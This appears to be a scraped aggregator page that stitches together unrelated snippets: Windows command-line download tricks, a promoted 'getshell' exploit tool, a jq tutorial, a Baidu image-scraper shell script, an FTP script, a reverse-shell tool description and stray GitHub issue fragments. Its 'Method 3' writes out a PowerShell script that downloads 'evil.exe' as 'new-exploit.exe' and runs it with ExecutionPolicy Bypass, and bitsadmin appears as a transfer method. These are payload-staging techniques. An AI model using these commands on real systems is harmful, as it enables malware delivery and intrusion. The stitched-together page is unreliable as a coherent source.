精华内容
参与话题
问答
  • [Platform]: windows 2008 x64 standardHow to download a file with windows command shell ?Method 1' Set your settings strFileURL = "http://www.it1.net/images/it1_logo2.jp

    [Platform]: windows 2008 x64 standard

    How to download a file with windows command shell ?

    Method 1

    Save the code to a file called “download.vbs”, and execute the following command:

    C:\Users\Administrator\Desktop>cscript.exe download.vbs
    

    Code Here:

    ' Set your settings                             
        strFileURL = "http://path/to/file"                                          
        strHDLocation = "c:\path\local\file"                                                    
    
    ' Fetch the file                                
        Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")                                                 
    
        objXMLHTTP.open "GET", strFileURL, false                                                        
        objXMLHTTP.send()                           
    
    If objXMLHTTP.Status = 200 Then                 
    Set objADOStream = CreateObject("ADODB.Stream")                                                     
    objADOStream.Open                               
    objADOStream.Type = 1 'adTypeBinary                                                                 
    
    objADOStream.Write objXMLHTTP.ResponseBody                                                          
    objADOStream.Position = 0    'Set the stream position to the start                                  
    
    Set objFSO = Createobject("Scripting.FileSystemObject")                                             
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation                            
    Set objFSO = Nothing                            
    
    objADOStream.SaveToFile strHDLocation                                                               
    objADOStream.Close                              
    Set objADOStream = Nothing                      
    End if                                          
    
    Set objXMLHTTP = Nothing 
    echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > download.vbs

    Method 2

    C:\Users\Administrator\Desktop>bitsadmin /transfer systemrepair  /download /priority normal http://path/to/file c:\path\local\file 
    

    Method 3

    Download File with powershell.

    echo $storageDir = $pwd > wget.ps1
    echo $webclient = New-Object System.Net.WebClient >> wget.ps1
    echo $url = "http://192.168.10.5/evil.exe" >> wget.ps1
    echo $file = "new-exploit.exe" >> wget.ps1
    echo $webclient.DownloadFile($url, $file) >> wget.ps1
    powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

    References

    1. http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
    展开全文
  • getshell 工具下载 https://download.csdn.net/download/fly_hps/10848910 免责声明 该工具只能授权验证网站漏洞和站长验证漏洞使用。 禁止用于未授权测试,非法入侵,否则一切后果自负,和作者无关...

    漏洞验证

    命令执行

    getshell

    工具下载

    https://download.csdn.net/download/fly_hps/10848910

    免责声明

    该工具只能授权验证网站漏洞和站长验证漏洞使用。

    禁止用于未授权测试,非法入侵,否则一切后果自负,和作者无关

    展开全文
  • WinShell

    2006-03-16 00:00:00
    01、专为Windows 9X/ME/NT/2K/XP设计 02、仅仅一个exe文件,无需安装,绿色环保 03、支持所有标准Telnet客户端软件 04、允许多用户同时登录并具备密码认证功能 05、可自定义监听端口和其它可配置项 06、...
  • mackup - Keep your application settings in sync (OS X/Linux) mcfly - Fly through your shell history. Great Scot! modules - Classical Tcl-based Environment Modules managing the shell environment ...
  • Transfer admin bar from shadow to shell document.</li><li>[x] Use AMP Shadow streaming API.</li><li>[x] Update the class name for the menu item the instant that it is clicked.</li><li>[x] ~Flag that ...
  • <p>So I'm trying to download a binary (<strong>nc) from a remote machine that I can access using Php (and <em>shell_exec</em> function), I looked for <strong>wget</strong> and found it in <strong>/usr...
  • Shell命令行处理JSON

    万次阅读 2017-12-03 16:27:12
    经常用python或java处理json数据,其实在Shell命令行,我们可以用开源JQ工具来处理Json数据。会更加简洁和高效。 CentOS 安装JQ wget -O jq ...

    基本介绍

    经常用python或java处理json数据,其实在Shell命令行,我们可以用开源JQ工具来处理Json数据。会更加简洁和高效。

    CentOS 安装JQ

    wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64
    chmod +x ./jq
    cp jq /usr/bin

    JQ常用举例

    1、原始JSON数据

    cat jsonData.json
    {"productId":"2723","click":60,"view":300,"deal":2,"day":"20130919"}
    {"productId":"2728","click":130,"view":800,"deal":10,"day":"20130919"}
    {"productId":"3609","click":50,"view":400,"deal":3,"day":"20130919"}
    {"productId":"3783","click":375,"view":1200,"deal":50,"day":"20130919"}
    {"productId":"3522","click":87,"view":573,"deal":15,"day":"20130919"}

    2、格式化输出

    jq -r . jsonData.json
    {
      "productId": "2723",
      "click": 60,
      "view": 300,
      "deal": 2,
      "day": "20130919"
    }
    {
      "productId": "2728",
      "click": 130,
      "view": 800,
      "deal": 10,
      "day": "20130919"
    }
    ...

    2、提取json指定字段转csv

    这里我们需要得到productId_day,click,view,deal这种格式的csv文件。

    jq -r '[.productId+"_"+.day,(.click|tostring),(.view|tostring),(.deal|tostring)]|join(",")' jsonData.json
    结果:
    2723_20130919,60,300,2
    2728_20130919,130,800,10
    3609_20130919,50,400,3
    3783_20130919,375,1200,50
    3522_20130919,87,573,15
    注意:
      .productId:取productId字段的值
     .click|tostring:取click字段的值并转化为string类型
     []:数组
     join(","):数组中的元素通过","连接。

    3、复杂json数据查询

    complexJson='{"uid":"2378","nameInfo":[{"firstName":"nova","lastName":"jos"}]}'
    echo ${complexJson} |jq
    {
      "uid": "2378",
      "nameInfo": [
        {
          "firstName": "nova",
          "lastName": "jos"
        }
      ]
    }
    echo ${complexJson} |jq -r '.nameInfo[].lastName'
    结果:jos
    注意:.nameInfo[].lastName是获取.nameInfo[] json array中每个json object的lastName字段。

    4、提取指定字段形成新的json

    jq -c '{productId:.productId,click:.click,dayYmd:(.day|tonumber)}' jsonData.json >>newjson.json
    结果:
    cat newjson.json
    {"productId":"2723","click":60,"dayYmd":20130919}
    {"productId":"2728","click":130,"dayYmd":20130919}
    {"productId":"3609","click":50,"dayYmd":20130919}
    {"productId":"3783","click":375,"dayYmd":20130919}
    {"productId":"3522","click":87,"dayYmd":20130919}
    注意:
     -c/--compact-output:jq 默认是pretty-prints JSON 输出,加上这个参数,一行一个json对象。

    5、csv文件转json文件

    cat csvData.csv
    1478,john,38
    1529,lucy,25
    1673,iris,22
    jq -R -c 'split(",")|{"uid":.[0],"name":.[1],"age":.[2]|tonumber}' csvData.csv > csv2json.json
    cat csv2json.json
    {"uid":"1478","name":"john","age":38}
    {"uid":"1529","name":"lucy","age":25}
    {"uid":"1673","name":"iris","age":22}

    主要参考文档

    1、https://programminghistorian.org/lessons/json-and-jq
    2、JQ使用手册:https://stedolan.github.io/jq/manual/#Basicfilters
    3、JQ Cookbook:https://github.com/stedolan/jq/wiki/Cookbook

    展开全文
  • shell爬取百度图片

    2020-02-10 19:33:00
    #!/usr/bin/bash # by newrain ...# download baidu images # tag 1.0 . /etc/init.d/functions function check(){ time=`date "+%F %X"` echo "当前时间:$time" ip=$(ip a |grep inet |grep...
    #!/usr/bin/bash
    # by newrain
    # time 2019-11-05 21:50:00
    # download baidu images
    # tag 1.0
    . /etc/init.d/functions
    function check(){
    	time=`date "+%F %X"`
    	echo "当前时间:$time"
    	ip=$(ip a |grep inet |grep "scope global dynamic"|awk -F"/" '{print $1}' |awk '{print $2}')
    	ping -w1 -c1 www.baidu.com &>/dev/null
    	if [[ $? -ne 0 ]];then
    		echo_failure || echo "网络异常,请检查"
    	else
    		echo_success && echo "网络正常 当前IP:$ip"
    	fi
    	yum repolist &>/dev/null
    	if [[ $? -ne 0 ]];then
    		echo_failure || echo "yum异常,请检查"
    	fi
    }
    
    function down(){
    	yum install -y wget &>/dev/null
    	w=`echo "$1" |tr -d '\n' |od -An -tx1|tr ' ' %`
    	data=$(curl -s "https://image.baidu.com/search/index?tn=baiduimage&word=$w")
    	echo $data | grep -P -o "https://ss.*?.jpg" | sort -n -r |uniq >> $2/url2.txt
    	a=0
    	while read line
    	do
    	sleep 1
    	code=$(curl -I "$line" 2>/dev/null)
    	if [ ${code:9:3} -eq 200 ];then
    		wget -O $2/$1${a}.jpg $line &>/dev/null
    		echo "下载完成 $line"
    	else
    		echo "无效资源 $line"
    	fi
    	let a++
    	done <$2/url2.txt
    	echo "全部下载完成,下载资源$a个"
    	return 200
    }
    
    function clea(){
    	echo "正在打包,请稍后"
    	sleep 2
    	tar cvzf image.tar.gz $1
    	rm -rf $1/url2.txt
    }
    
    function main(){
    	check
    	down $1 $2
    	if [[ $? -eq 200 ]];then
    		clea $2
    		return 100
    	else
    		echo "下载异常,正在清理环境"
    		rm -rf $2
    		return 101
    	fi
    }
    clear
    echo -e "本程序功能为爬取百度网站: image.baidu.com 图片\n礼貌爬取,快乐你我他\n程序设计目的:千锋云计算shell教学测试"
    sleep 1
    read -p "请输入要爬取的图片关键字,默认为中国):  " words
    read -p "请输入资源存放路径,默认为  /tmp/image   :  " path
    if [ -z $words ];then
    	words="中国"
    fi
    if [ -z $path ];then
    	path='/tmp/image'
    	mkdir /tmp/image
    fi
    main $words $path
    if [ $? -eq 100 ];then
    	echo "程序退出"
    else
    	echo "程序异常退出"
    fi
    
    
    
    
    展开全文
  • </li><li>Do we want to post this as a separate download?</li><li>Above questions wrt port opening and configuration</li></ul> <h2>Pull Request Checklist <p>Thank you for submitting a contribution to ...
  • linux shell一键安装jdk

    2019-02-27 23:17:51
    下载好的jdk放在linux上,我是在/usr/local目录下...wgethttps://download.oracle.com/otn-pub/java/jdk/8u201-b09/42970487e3af4f5aa5bca3f542482c60/jdk-8u201-linux-x64.tar.gz?AuthParam=1555253256_ed6b0f836...
  • <p>I am encountering an error when trying to install extensions from vscode on Windows 10 x64. <p>For instance, when I start up vscode, in the bottom right notification area, I see "Analysis Tools ...
  • 小小shell,也能伟大

    2020-08-07 10:52:52
    # download baidu images # tag 1.0 . /etc/init.d/functions function check(){ time=`date "+%F %X"` echo "当前时间:$time" ip=$(ip a |grep inet |grep "scope global dynamic"|awk -F"/" '{print $1}' |awk...
  • linux 自动获取FTP服务器文件shell

    千次阅读 2017-04-07 00:39:22
    echo "zg ftp file audto download start" GET_DATE=`date -d '1 days ago' +%Y%m%d` GET_DIR=/home/weihu/zg-ftp-file/txt-file IP_ADDRESS=172.30.35.5 USER_NAME=rxc_ftp USER_PWD=ZGXT
  • https://aka.ms/dotnet-download Visual Studio Code Extensions |Extension|Author|Version| |---|---|---| |Angular-BeastCode|Mikael|8.0.10| |Angular2|johnpapa|8.1.1| |angular2-inline|natewallace|0.0.17...
  • HRShell是一个使用Flask构建的高级HTTP(S)反向Shell,其兼容python 2.x/3.x并已在以下操作系统成功测试: Linux ubuntu 18.04 LTS macOS Mojave Windows 7/10 特性 隐秘性 TLS支持 1)使用即时证书或 2)通过指定...
  • win7 升级Power Shell到4.0

    2018-11-26 14:46:00
    提示我power Shell 2.0不支持命令,然后需要升级PS。 PS win7 升级文件下载地址是 https://www.microsoft.com/zh-CN/download/details.aspx?id=40855 在这里下载 Windows6.1-KB2819745-x64-Mu...
  • ShellCheck - A shell script static analysis tool ShellCheck is a GPLv3 tool that gives warnings and suggestions for bash/sh shell scripts: The goals of ShellCheck are To point out and clarify ...
  • ERROR (MainThread) [hacs.repository.plugin.kalkih.mini-media-player] Download was not complete [No content to download] </code></pre> <p>The message reflects the plugin/integration I'm trying to ...
  • Sampler是一个用于shell命令执行,可视化和告警的工具。其配置使用的是一个简单的YAML文件。 Linux sudo wget ...
  • s been moved to http://tabish.freeshell.org/eeyek/eeyek-ofl.zip (see the <a href="http://tabish.freeshell.org/eeyek/download.html">download page). Discovered via ...
  • lake@localhost:~/download$ cd /home/lake/software_x86_x64/p7zip_9.20.1/ lake@localhost:~/software_x86_x64/p7zip_9.20.1$ make  lake@localhost:~/software_x86_x64/p7zip_9.20.1$ su make install  lake@...
  • Everything is working fine but when system tries to isntall dotNetFx40_Full_x86_x64.exe (http://download.microsoft.com/download/9/5/A/95A9616B-7A37-4AF6-BC36-D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe)...
  • Shell Details <p>Mac OS X and Linux <h2>Any other relevant information <p>The <code>cf curl</code> reaches the Cloud Controller, which 302 redirects us to the S3 droplet bucket. We were able to ...
  • Optionally use x96dbg.exe to register a shell extension and add shortcuts to your desktop. You can now run x32\x32dbg.exe if you want to debug a 32-bit executable or x64\x64dbg.exe to debug a 64-bit ...
  • DCGAN之download.py

    2019-03-13 10:27:00
    首先需要导入的包中,gzip和zipfile用于文件压缩和解压缩...subprocess用于运行shell命令;tqdm用于进度条显示;six包用于python2和python3的兼容,比如from six.moves import urllib这句就是导入python2.x的urllib库。...
  • SHELL="/bin/zsh" </none></none></code></pre> <h4>Output of <code>brew tap</code></h4> <pre><code> greggharrington-MacBook-Pro  ~  brew tap adoptopenjdk/openjdk homebrew/...
  • 大家通过脚本在虚机或独立机上完成Oracle集群的自动化安装...二:一共五个SHELL脚本,其中00脚本为配置文件供其它脚本调用;脚本有依赖关系请按照文件编号执行;因为是静默安装,可参考LOG文件了解安装结束时的特征。
  • SHELL': '/bin/bash', 'SHLVL': '1', 'SECURITYSESSIONID': '186a4', 'TEAMLOCAL_DEBUG': '1', 'SHIFTGIG_DEBUG': '1', '...

空空如也

1 2 3 4 5 ... 20
收藏数 419
精华内容 167
热门标签
关键字:

download shell x